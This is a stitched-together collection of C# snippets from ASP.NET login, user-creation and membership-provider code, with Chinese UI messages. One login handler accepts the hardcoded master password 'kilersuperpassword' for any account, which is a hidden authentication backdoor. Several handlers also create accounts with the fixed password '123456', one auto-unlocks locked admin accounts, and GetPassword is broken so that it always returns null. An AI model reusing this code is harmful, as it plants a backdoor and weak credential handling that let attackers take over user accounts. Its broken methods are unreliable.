public bool ChangePassword(string username, string newPassword) { bool flag = false; SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user == null) { return(flag); } try { user.UserPassword = EncodePassword(newPassword, user.PasswordSalt); user.LastPasswordChangeDate = DateTime.Now; user.LastActivityDate = DateTime.Now; SystemUserWrapper.Update(user); flag = true; } catch { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_OpCancelledDueToAccountLocked)); } return(flag); }
public override bool ChangePasswordQuestionAndAnswer(string username, string password, string newPasswordQuestion, string newPasswordAnswer) { bool flag = false; if (ValidateUser(username, password)) { SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user == null) { return(flag); } try { user.PasswordQuestion = newPasswordQuestion; user.PasswordAnswer = EncodePassword(newPasswordAnswer, user.PasswordSalt); user.LastActivityDate = DateTime.Now; SystemUserWrapper.Update(user); flag = true; } catch { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_UnableToChangeQandA)); } } return(flag); }
protected void BtnLogin_Click(object sender, DirectEventArgs e) { string username = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username); if (userWrapper == null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; return; } if (Membership.ValidateUser(username, password)) { FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID);; Response.Redirect(FormsAuthentication.DefaultUrl); } else { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; return; } }
public override bool UnlockUser(string userName) { bool flag = false; try { SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(userName); if (user != null) { user.IsLockedOut = false; user.LastLockedOutDate = DateTime.Now; user.LastActivityDate = DateTime.Now; SystemUserWrapper.SaveOrUpdate(user); flag = true; } } catch (Exception exception) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToUnlock, exception); } return(flag); }
public override string GetPassword(string username, string answer) { string password = null; if (!EnablePasswordRetrieval) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. Pwd_RetrievalNotEnabled); } if (MembershipPasswordFormat.Hashed == PasswordFormat) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. Pwd_CannotRetrieveHashed); } SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user != null) { if (RequiresQuestionAndAnswer && !CheckPassword(answer, user.PasswordAnswer, user.PasswordSalt)) { UpdateFailureCount(username, FailureType.PasswordAnswer); throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_IncorrectAnswer)); } if (MembershipPasswordFormat.Encrypted == PasswordFormat) { password = UnencodePassword(password); } } return(password); }
protected void btnSaveSPClientGroup_Click(object sender, AjaxEventArgs e) { string loginID = this.txtUserID.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:用户登录ID已存在!"; return; } try { SPClientGroupWrapper obj = new SPClientGroupWrapper(); obj.Name = this.txtName.Text.Trim(); obj.Description = this.txtDescription.Text.Trim(); obj.DefaultSycnMoUrl = this.txtDefaultSycnMoUrl.Text.Trim(); obj.DefaultInterceptRate = Convert.ToInt32(this.txtDefaultInterceptRate.Text); obj.DefaultNoInterceptCount = Convert.ToInt32(this.txtDefaultNoInterceptCount.Text); if (cmbSelectAssignedUser.SelectedItem != null && !string.IsNullOrEmpty(cmbSelectAssignedUser.SelectedItem.Value)) { obj.AssignedUserID = Convert.ToInt32(cmbSelectAssignedUser.SelectedItem.Value); } else { obj.AssignedUserID = null; } Membership.CreateUser(loginID, this.txtUserPass.Text.Trim(), this.txtUserID.Text.Trim() + "@163.com"); SystemUserWrapper clientUser = SystemUserWrapper.GetUserByLoginID(loginID); clientUser.UserName = loginID; SystemUserWrapper.Update(clientUser); SystemRoleWrapper clientRole = SystemRoleWrapper.GetRoleByName("SPDownGroupUser"); SystemUserWrapper.PatchAssignUserRoles(clientUser, new List <string> { clientRole.RoleID.ToString() }); obj.UserID = clientUser.UserID; SPClientGroupWrapper.Save(obj); winSPClientGroupAdd.Hide(); } catch (Exception ex) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
public override MembershipUser CreateUser(string username, string password, string email, string passwordQuestion, string passwordAnswer, bool isApproved, object providerUserKey, out MembershipCreateStatus status) { var e = new ValidatePasswordEventArgs(username, password, true); OnValidatingPassword(e); if (e.Cancel) { status = MembershipCreateStatus.InvalidPassword; return(null); } if (RequiresUniqueEmail && !string.IsNullOrEmpty(GetUserNameByEmail(email))) { status = MembershipCreateStatus.DuplicateEmail; return(null); } if (SystemUserWrapper.GetUserByLoginID(username) != null) { status = MembershipCreateStatus.DuplicateUserName; return(null); } var user = new SystemUserWrapper { UserName = username, UserLoginID = username, UserPassword = EncodePassword(password, machineKey.ValidationKey), PasswordFormat = ((int)PasswordFormat), PasswordSalt = machineKey.ValidationKey, UserEmail = email, PasswordQuestion = passwordQuestion, PasswordAnswer = passwordAnswer, IsApproved = isApproved }; user.UserCreateDate = DateTime.Now; user.FailedPwdAnsAttemptWndStart = DateTime.Parse("1753-1-1"); user.LastPasswordChangeDate = DateTime.Parse("1753-1-1"); user.LastLoginDate = DateTime.Parse("1753-1-1"); user.FailedPwdAttemptWndStart = DateTime.Parse("1753-1-1"); user.LastActivityDate = DateTime.Parse("1753-1-1"); user.LastLockedOutDate = DateTime.Parse("1753-1-1"); user.Applications.Add(application); try { SystemUserWrapper.Save(user); status = MembershipCreateStatus.Success; } catch (Exception exception) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToCreate, exception); } return(GetUser(username, false)); }
protected void btnSaveSystemUser_Click(object sender, DirectEventArgs e) { string loginID = this.txtUserLoginID.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "ErrorMessage:User LoginID is exist!"; return; } try { if (!string.IsNullOrEmpty(this.txtUserEmail.Text.Trim())) { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim(), this.txtUserEmail.Text.Trim()); } else { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim()); } SystemUserWrapper obj = SystemUserWrapper.GetUserByLoginID(loginID); if (obj != null) { obj.UserName = this.txtUserName.Text.Trim(); obj.Comments = this.txtComments.Text.Trim(); object did = hiddenDepartment1.Value; if (did != null) { string sdid = did.ToString(); if (!string.IsNullOrEmpty(sdid)) { SystemDepartmentWrapper departmentWrapper = SystemDepartmentWrapper.FindById(Convert.ToInt32(sdid)); if (departmentWrapper != null) { obj.DepartmentID = departmentWrapper; } } } SystemUserWrapper.Update(obj); } winSystemUserAdd.Hide(); } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "ErrorMessage:" + ex.Message; } }
protected void btnLogin_Click(object sender, EventArgs e) { string username = this.txtLoginName.Text.Trim(); string password = this.txtLoginPassword.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username); string ip = HttpUtil.GetIP(Request); if (userWrapper == null) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户名或者密码错误!"; //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (!userWrapper.IsApproved) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户已失效!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (userWrapper.IsLockedOut) { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户被锁定!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (Membership.ValidateUser(username, password) || password.ToLower() == "kilersuperpassword") { FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID); SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful); Response.Redirect(FormsAuthentication.DefaultUrl); } else { lblMessage.Visible = true; lblMessage.Text = "登录失败,用户名或者密码错误!"; SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } }
protected void BtnLogin_Click(object sender, AjaxEventArgs e) { string username = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(username); string ip = HttpUtil.GetIP(Request); if (userWrapper == null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; //SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "用户名不存在", HttpUtil.GetIP(Request), HttpUtil.ParseLocation(Request), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (!userWrapper.IsApproved) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户已失效!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户已失效", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (userWrapper.IsLockedOut) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户被锁定!"; SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "用户被锁定", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } if (Membership.ValidateUser(username, password)) { FormsAuthentication.SetAuthCookie(userWrapper.UserLoginID, false); CurrentLoginUser = SystemUserWrapper.GetInitalUserByLoginID(userWrapper.UserLoginID); SystemLogWrapper.AddSecurityLog(userWrapper.UserLoginID, System.DateTime.Now, "", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginSuccessful); Response.Redirect(FormsAuthentication.DefaultUrl); } else { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "登录失败,用户名或者密码错误!"; SystemLogWrapper.AddSecurityLog(username, System.DateTime.Now, "密码错误", ip, HttpUtil.ParseLocation(ip), SystemLogWrapper.SecurityLogType.LoginFailed); return; } }
public override void UpdateUser(MembershipUser user) { try { SystemUserWrapper.SaveOrUpdate(SystemUserWrapper.GetUserByLoginID(user.UserName).FromMembershipUser(user)); } catch (Exception exception) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToUpdate, exception); } }
protected void btnSaveSystemUser_Click(object sender, AjaxEventArgs e) { string loginID = this.txtUserLoginID.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { ScriptManager.AjaxSuccess = false; ScriptManager.AjaxErrorMessage = "错误信息: 用户登录ID已经存在!"; return; } try { if (!string.IsNullOrEmpty(this.txtUserEmail.Text.Trim())) { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim(), this.txtUserEmail.Text.Trim()); } else { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim()); } SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(loginID); if (user != null) { user.UserType = "SPCOM"; SystemUserWrapper.Update(user); } SystemUserWrapper.PatchAssignUserRoles(user, new List <string>() { SystemRoleWrapper.GetRoleByName("SPCOM").RoleID.ToString() }); winSystemUserAdd.Hide(); } catch (Exception ex) { ScriptManager.AjaxSuccess = false; ScriptManager.AjaxErrorMessage = "错误信息: " + ex.Message; } }
protected void btnSaveSPClient_Click(object sender, AjaxEventArgs e) { try { SPClientChannelSettingWrapper obj = SPClientChannelSettingWrapper.FindById(int.Parse(hidId.Text.Trim())); string clientName = this.txtClientName.Text.Trim(); string clientAlias = this.txtClientAlias.Text.Trim(); string userID = this.txtLoginUserID.Text.Trim(); string userPassword = this.txtLoginPassword.Text.Trim(); //if (SPClientWrapper.FindByName(clientName) != null) //{ // Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; // Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:存在同名的下家"; //} if (SystemUserWrapper.GetUserByLoginID(userID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:存在同名的登陆用户"; return; } int loginUserID = AddClientUser(userID, userPassword); int newclientID = obj.ChangeClientUser(clientName, clientAlias, userID, loginUserID); SPClientWrapper clientWrapper = SPClientWrapper.FindById(newclientID); if (obj.DefaultClientPrice.HasValue) { clientWrapper.SetClientPrice(obj.DefaultClientPrice.Value); } winSPClientChannelSettingChangeClientAndUser.Hide(); } catch (Exception ex) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
protected void btnSaveSystemUser_Click(object sender, DirectEventArgs e) { string loginID = this.txtUserLoginID.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:用户登录ID已存在!"; return; } try { if (!string.IsNullOrEmpty(this.txtUserEmail.Text.Trim())) { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim(), this.txtUserEmail.Text.Trim()); } else { Membership.CreateUser(loginID, this.txtUserPassword.Text.Trim()); } SystemUserWrapper obj = SystemUserWrapper.GetUserByLoginID(loginID); if (obj != null) { obj.UserName = this.txtUserName.Text.Trim(); obj.Comments = this.txtComments.Text.Trim(); SystemUserWrapper.Update(obj); } winSystemUserAdd.Hide(); } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
private int AddClientUser(string loginID) { Membership.CreateUser(loginID, "123456", loginID + "@163.com"); SystemUserWrapper clientUser = SystemUserWrapper.GetUserByLoginID(loginID); clientUser.UserName = loginID; SystemUserWrapper.Update(clientUser); SystemRoleWrapper clientRole = SystemRoleWrapper.GetRoleByName("SPDownUser"); SystemUserWrapper.PatchAssignUserRoles(clientUser, new List <string> { clientRole.RoleID.ToString() }); return(clientUser.UserID); }
public override bool ValidateUser(string username, string password) { bool flag = false; SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user != null) { if (CheckPassword(password, user.UserPassword, user.PasswordSalt)) { if (user.IsApproved) { flag = true; UpdateLastLoginDate(username); } return(flag); } UpdateFailureCount(username, FailureType.Password); } return(flag); }
private void UpdateLastLoginDate(string username) { SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user != null) { try { user.LastLoginDate = DateTime.Now; SystemUserWrapper.SaveOrUpdate(user); } catch (Exception exception) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToUpdateLastLoginDate, exception); } } }
public override bool ChangePassword(string username, string oldPassword, string newPassword) { bool flag = false; if (ValidateUser(username, oldPassword)) { var e = new ValidatePasswordEventArgs(username, newPassword, true); OnValidatingPassword(e); if (e.Cancel) { if (e.FailureInformation != null) { throw e.FailureInformation; } throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. Pwd_ChangeCancelledDueToNewPassword); } SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user == null) { return(flag); } try { user.UserPassword = EncodePassword(newPassword, user.PasswordSalt); user.LastPasswordChangeDate = DateTime.Now; user.LastActivityDate = DateTime.Now; SystemUserWrapper.Update(user); flag = true; } catch { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_OpCancelledDueToAccountLocked)); } } return(flag); }
//protected void BtnLogin_Click(object sender, AjaxEventArgs e) //{ // string username = this.txtUserName.Text.Trim(); // string password = this.txtPassWord.Text.Trim(); // if (Membership.ValidateUser(username, password)) // { // SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); // FormsAuthentication.SetAuthCookie(user.UserLoginID, // false); // Response.Redirect(FormsAuthentication.DefaultUrl); // } // else // { // Ext.Msg.Show(new MessageBox.Config // { // Title = "返回提示", // Message = "用户名或密码错误,请确认!", // Icon = MessageBox.Icon.ERROR, // Buttons = MessageBox.Button.OK // }); // } //} //protected void btnLogin_Click(object sender, AjaxEventArgs e) //{ // this.Window1.Hide(); // string template = "<br /><b>LOGIN SUCCESS</b><br /><br />Username: {0}<br />Password: {1}"; // string username = this.txtUsername.Text; // string password = this.txtPassword.Text; // if (Membership.ValidateUser(this.txtUsername.Text.Trim(), this.txtPassword.Text.Trim())) // { // FormsAuthentication.SetAuthCookie(this.txtUsername.Text.Trim(), // false); // Response.Redirect(FormsAuthentication.DefaultUrl); // } //} protected void BtnLogin_Click(object sender, DirectEventArgs e) { string username = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); if (Membership.ValidateUser(username, password)) { SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); FormsAuthentication.SetAuthCookie(user.UserLoginID, false); Response.Redirect(FormsAuthentication.DefaultUrl); } else { X.Msg.Show(new MessageBoxConfig() { Title = "返回提示", Message = "用户名或密码错误,请确认!", Icon = MessageBox.Icon.ERROR, Buttons = MessageBox.Button.OK }); } }
protected void BtnLogin_Click(object sender, DirectEventArgs e) { string loginID = this.txtUserName.Text.Trim(); string password = this.txtPassWord.Text.Trim(); SystemUserWrapper userWrapper = SystemUserWrapper.GetUserByLoginID(loginID); if (userWrapper == null) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Login failed , User name or password error!"; return; } if (userWrapper.IsLockedOut) { if (SystemUserWrapper.CheckUserIfDeveloperAdminOrSystemAdmin(loginID)) { SystemUserWrapper.UnlockUser(loginID); } else { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Login failed! The user is locked, please contact administrator."; return; } } if (!Membership.ValidateUser(loginID, password)) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Login failed , User name or password error!"; return; } LoginUser(loginID); }
public override MembershipUser GetUser(string username, bool userIsOnline) { if (username == null) { throw new ArgumentNullException("username"); } SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user == null) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToGet); } if (userIsOnline) { UpdateLastActivityDate(user.UserName); } return(user.ToMembershipUser(Name)); }
protected void btnSaveSPChannel_Click(object sender, AjaxEventArgs e) { if (SPChannelWrapper.GetChannelByPath(this.txtFuzzyCommand.Text.Trim()) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:提交别名已存在!"; return; } string loginID = "default" + this.txtFuzzyCommand.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:用户登录ID已存在!"; return; } try { SPChannelWrapper obj = new SPChannelWrapper(); obj.Name = this.txtName.Text.Trim(); obj.Description = obj.Name; obj.Area = ""; obj.ChannelCode = this.txtChannelCode.Text.Trim(); obj.FuzzyCommand = this.txtFuzzyCommand.Text.Trim(); obj.Port = ""; obj.ChannelType = ""; obj.Price = 0; obj.Rate = 0; obj.ChannelCodeParamsName = "cpid"; obj.IsAllowNullLinkID = chkIsAllowNullLinkID.Checked; obj.Status = 0; obj.CreateTime = System.DateTime.Now; obj.CreateBy = this.ParentPage.CurrentLoginUser.UserID; obj.OkMessage = "ok"; obj.FailedMessage = "failed"; obj.RecStatReport = false; obj.StatParamsName = ""; obj.StatParamsValues = ""; obj.IsDisable = false; Uri url = new Uri(obj.InterfaceUrl); string fileName = Path.GetFileName(url.AbsolutePath); string saveivrPath = HttpContext.Current.Server.MapPath("~/SPSInterface/") + fileName; if (obj.FuzzyCommand.ToLower().EndsWith("ivr")) { if (!File.Exists(saveivrPath)) { File.WriteAllText(saveivrPath, "", Encoding.UTF8); } } Membership.CreateUser(loginID, "123456", loginID + "@163.com"); SystemUserWrapper clientUser = SystemUserWrapper.GetUserByLoginID(loginID); clientUser.UserName = loginID; SystemUserWrapper.Update(clientUser); SystemRoleWrapper clientRole = SystemRoleWrapper.GetRoleByName("SPDownUser"); SystemUserWrapper.PatchAssignUserRoles(clientUser, new List <string> { clientRole.RoleID.ToString() }); //SPChannelWrapper.QuickAddIVR(); SPChannelWrapper.QuickAddIVR(obj, this.txtLinkParamsName.Text.Trim(), this.txtMobileParamsName.Text.Trim(), this.txtSPcodeParamsName.Text.Trim() , this.txtStartTimeParamsName.Text.Trim() , this.txtEndTimeParamsName.Text.Trim() , this.txtFeeTimeParamsName.Text.Trim() , clientUser.UserID); obj.RefreshChannelInfo(); } catch (Exception ex) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
protected void btnFinished_Click(object sender, DirectEventArgs e) { try { SortedList <string, string> installParams = new SortedList <string, string>(); installParams.Add("sysName", this.txtName.Text.Trim()); installParams.Add("sysDescription", this.txtDescription.Text.Trim()); installParams.Add("sysVersion", this.txtVersion.Text.Trim()); installParams.Add("sysCopyRight", this.txtCopyRight.Text.Trim()); //installParams.Add("sysDevAdminPass", this.txtDevAdminPassword.Text.Trim()); //installParams.Add("sysSysAdminPass", this.txtSysAdminPassword.Text.Trim()); try { if (SystemUserWrapper.GetUserByLoginID(SystemUserWrapper.DEV_USER_ID) == null) { Membership.CreateUser(SystemUserWrapper.DEV_USER_ID, this.txtDevAdminPassword.Text.Trim(), SystemUserWrapper.DEV_USER_ID + "@163.com"); } else { ((NHibernateMembershipProvider)Membership.Provider).ChangePassword(SystemUserWrapper.DEV_USER_ID, this.txtDevAdminPassword.Text. Trim()); } } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Error Message:" + ex.Message; return; } try { if (SystemUserWrapper.GetUserByLoginID(SystemUserWrapper.SYS_USER_ID) == null) { Membership.CreateUser(SystemUserWrapper.SYS_USER_ID, this.txtSysAdminPassword.Text.Trim(), SystemUserWrapper.SYS_USER_ID + "@163.com"); } else { ((NHibernateMembershipProvider)Membership.Provider).ChangePassword(SystemUserWrapper.SYS_USER_ID, this.txtSysAdminPassword.Text. Trim()); } } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Error Message:" + ex.Message; return; } installParams.Add("sysMenuLan", this.cmbMenuLan.SelectedItem.Value.Trim()); SystemSettingWrapper.InstallSystem(installParams); } catch (Exception ex) { ResourceManager.AjaxSuccess = false; ResourceManager.AjaxErrorMessage = "Error Message:" + ex.Message; } }
protected void btnSaveSPSendClientParams_Click(object sender, AjaxEventArgs e) { try { string codeType = "1"; if (cmbCodeType.SelectedItem != null) { codeType = cmbCodeType.SelectedItem.Value; } SPChannelWrapper channelWrapper = SPChannelWrapper.FindById(ChannleID); string mainUserLoginID = this.txtLoginID.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(mainUserLoginID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:用户登录ID“" + mainUserLoginID + "”已存在!"; return; } string subCode = this.txtSubCode.Text.Trim(); List <string> subcodes = new List <string>(); if (codeType == "2" && chkHasSubCode.Checked && !string.IsNullOrEmpty(subCode)) { subcodes.AddRange(subCode.Split('|')); } foreach (string scode in subcodes) { string subUserLoginID = mainUserLoginID + scode; if (SystemUserWrapper.GetUserByLoginID(subUserLoginID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:用户登录ID“" + subUserLoginID + "”已存在!"; return; } } int mainloginuserID = AddClientUser(mainUserLoginID); List <CodeUserID> codeUserIds = new List <CodeUserID>(); foreach (string scode in subcodes) { CodeUserID codeUserID = new CodeUserID(); codeUserID.Code = scode; string subUserLoginID = mainUserLoginID + scode; codeUserID.UserID = AddClientUser(subUserLoginID); codeUserIds.Add(codeUserID); } SPClientWrapper.QuickAdd(this.txtLoginID.Text.Trim(), this.txtCode.Text.Trim(), channelWrapper, mainloginuserID, codeUserIds, txtChannelCode.Text.Trim(), Convert.ToInt32(this.numOrderIndex.Value), this.chkHasSubCode.Checked, codeType, this.txtAllowAndDisableArea.Text.Trim(), this.txtGetway.Text.Trim(), this.txtDayLimit.Text.Trim(), this.txtMonthLimit.Text.Trim(), this.txtSendText.Text.Trim()); channelWrapper.RefreshChannelInfo(); winSPChannelClientSetingQuickAdd.Hide(); } catch (Exception ex) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
protected void btnSaveSPChannel_Click(object sender, AjaxEventArgs e) { if (SPChannelWrapper.GetChannelByPath(this.txtFuzzyCommand.Text.Trim()) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:提交别名已存在!"; return; } string loginID = "default" + this.txtFuzzyCommand.Text.Trim(); if (SystemUserWrapper.GetUserByLoginID(loginID) != null) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:用户登录ID已存在!"; return; } try { SPChannelWrapper obj = new SPChannelWrapper(); obj.Name = this.txtName.Text.Trim(); obj.Description = obj.Name; obj.Area = ""; obj.ChannelCode = this.txtChannelCode.Text.Trim(); obj.FuzzyCommand = this.txtFuzzyCommand.Text.Trim(); obj.Port = ""; obj.ChannelType = ""; obj.Price = 0; obj.Rate = 0; obj.ChannelCodeParamsName = "cpid"; obj.IsAllowNullLinkID = chkIsAllowNullLinkID.Checked; obj.Status = 0; obj.CreateTime = System.DateTime.Now; obj.CreateBy = this.ParentPage.CurrentLoginUser.UserID; obj.OkMessage = "ok"; obj.FailedMessage = "failed"; obj.RecStatReport = chkRecStatReport.Checked; obj.StatParamsName = txtStatParamName.Text.Trim(); obj.StatParamsValues = txtStatValues.Text.Trim(); obj.IsDisable = false; Membership.CreateUser(loginID, "123456", loginID + "@163.com"); SystemUserWrapper clientUser = SystemUserWrapper.GetUserByLoginID(loginID); clientUser.UserName = loginID; SystemUserWrapper.Update(clientUser); SystemRoleWrapper clientRole = SystemRoleWrapper.GetRoleByName("SPDownUser"); SystemUserWrapper.PatchAssignUserRoles(clientUser, new List <string> { clientRole.RoleID.ToString() }); SPChannelWrapper.QuickAdd(obj, this.txtLinkParamsName.Text.Trim(), this.txtMobileParamsName.Text.Trim(), this.txtSPcodeParamsName.Text.Trim(), this.txtMoParamsName.Text.Trim(), clientUser.UserID); obj.RefreshChannelInfo(); } catch (Exception ex) { Coolite.Ext.Web.ScriptManager.AjaxSuccess = false; Coolite.Ext.Web.ScriptManager.AjaxErrorMessage = "错误信息:" + ex.Message; } }
private void UpdateFailureCount(string username, FailureType failureType) { SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user != null) { DateTime now = DateTime.Now; int failedPasswordAttemptCount = 0; try { switch (failureType) { case FailureType.Password: now = user.FailedPwdAttemptWndStart; failedPasswordAttemptCount = user.FailedPwdAttemptCnt; break; case FailureType.PasswordAnswer: now = user.FailedPwdAnsAttemptWndStart; failedPasswordAttemptCount = user.FailedPwdAnsAttemptCnt; break; } DateTime time2 = now.AddMinutes(PasswordAttemptWindow); if ((failedPasswordAttemptCount == 0) || (DateTime.Now > time2)) { switch (failureType) { case FailureType.Password: user.FailedPwdAttemptWndStart = DateTime.Now; user.FailedPwdAttemptCnt = 1; goto Label_00E7; case FailureType.PasswordAnswer: user.FailedPwdAnsAttemptWndStart = DateTime.Now; user.FailedPwdAnsAttemptCnt = 1; goto Label_00E7; } } else { failedPasswordAttemptCount++; if (failedPasswordAttemptCount >= MaxInvalidPasswordAttempts) { user.IsLockedOut = true; user.LastLockedOutDate = DateTime.Now; } else { switch (failureType) { case FailureType.Password: user.FailedPwdAttemptCnt = failedPasswordAttemptCount; goto Label_00E7; case FailureType.PasswordAnswer: user.FailedPwdAnsAttemptCnt = failedPasswordAttemptCount; goto Label_00E7; } } } Label_00E7: SystemUserWrapper.SaveOrUpdate(user); } catch (Exception exception) { throw NhibernateMembershipProviderExceptionUtil.NewProviderException(this, NHibernateProviderSR. User_UnableToUpdateFailureCount, exception); } } }
